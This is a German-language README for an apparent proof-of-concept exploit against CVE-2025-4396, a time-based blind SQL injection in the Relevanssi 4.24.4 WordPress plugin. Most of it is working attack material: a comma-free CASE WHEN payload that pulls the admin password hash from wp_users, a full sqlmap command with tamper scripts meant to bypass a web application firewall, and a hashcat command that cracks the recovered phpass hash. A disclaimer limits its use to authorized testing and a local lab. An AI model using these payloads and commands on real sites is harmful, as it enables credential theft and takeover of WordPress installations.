
CVE-2025-4396 - WordPress Relevanssi Zeitbasierte Blind-SQL-Injection
Haftungsausschluss: Dieses Repository ist ausschließlich für autorisierte Penetrationstests, Sicherheitsforschung und Bildungszwecke bestimmt. Unbefugter Zugriff auf Computersysteme ist illegal und unethisch.
Ein Proof-of-Concept-Exploit für eine zeitbasierte Blind-SQL-Injection-Schwachstelle im Relevanssi 4.24.4-WordPress-Plugin. Diese Implementierung adressiert speziell gehärtete Umgebungen, in denen:
SUBSTR(str, pos, len)- und IF(cond, true, false)-SyntaxSLEEP() aus, bevor der vollständige Ausdruck ausgewertet wird, was zu Fehlalarmen führtIn bestimmten Umgebungen (z. B. im DVWP-Labor) schlagen standardmäßige SQL-Injection-Payloads aus zwei Hauptgründen fehl:
| Problem | Auswirkung |
|---|---|
| Komma-Entfernung | Bricht SUBSTR(str, pos, len) und IF(cond, true, false) |
Gieriges SLEEP() | MySQL wertet den Schlaf vor dem vollständigen booleschen Ausdruck aus, was zu Fehlalarmen führt |
Beide Probleme erfordern gezielte Workarounds – die in den folgenden manuellen und automatisierten Ansätzen behandelt werden.
asy.py)Ein asynchrones Python-Skript, das eine punktgenaue zeichenweise Extraktion ermöglicht. Es vermeidet den Overhead automatisierter Tools und umgeht die Kommafilterung mithilfe von CASE WHEN-Logik.
| Funktion | Implementierung |
|---|---|
| Asynchrone E/A | aiohttp für nicht-blockierende Anfragen |
| Kommalose Payloads | SUBSTR(str FROM pos FOR len)-Syntax |
| Nicht-gierige Logik | CASE WHEN stellt sicher, dass SLEEP() nur bei TRUE ausgelöst wird |
# Comma-less, CASE WHEN-based time-based payload
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
Warum CASE WHEN statt IF()?
IF() verwendet Kommas und unterliegt einer gierigen Auswertung. CASE WHEN wertet verzögert aus und stellt sicher, dass SLEEP() nur ausgelöst wird, wenn die Bedingung tatsächlich TRUE ist.
SQLMap kann die Erkennung in dieser Umgebung mithilfe spezifischer Tamper-Skripte und Flags automatisieren.
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
| Flag | Zweck |
|---|---|
--tamper=commalessmid,if2case | Schreibt Payloads in kommafreies SQL um; ersetzt IF() durch CASE WHEN |
--tamper=between | Ersetzt >-Vergleiche durch BETWEEN für zusätzlichen WAF-Bypass |
--technique=T | Beschränkt auf ausschließlich zeitbasierte Blind-Injection |
--no-cast | Verhindert CAST()-Wrapper, die verbotene Kommas einführen |
--threads=1 | Gewährleistet Timing-Genauigkeit – parallele Anfragen verursachen überlappende Schlafverzögerungen |
Hinweis zu
--threads=1: Dies ist für eine zuverlässige Extraktion unerlässlich. Mehrere Threads führen dazu, dass sich Schlafverzögerungen überlappen, was das Timing der binären Suche verfälscht und verstümmelte Ausgaben erzeugt.
| Feld | Wert |
|---|---|
| Ziel | WordPress-Tabelle wp_users |
| Benutzer | admin (ID = 1) |
| Extrahierter Hash | REDACTED |
| Algorithmus | phpass (standardmäßiges WordPress-Passwort-Hashing) |
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
-m 400 zielt auf phpass-Hashes-a 0 ist ein direkter Wörterbuchangriff mit rockyou.txt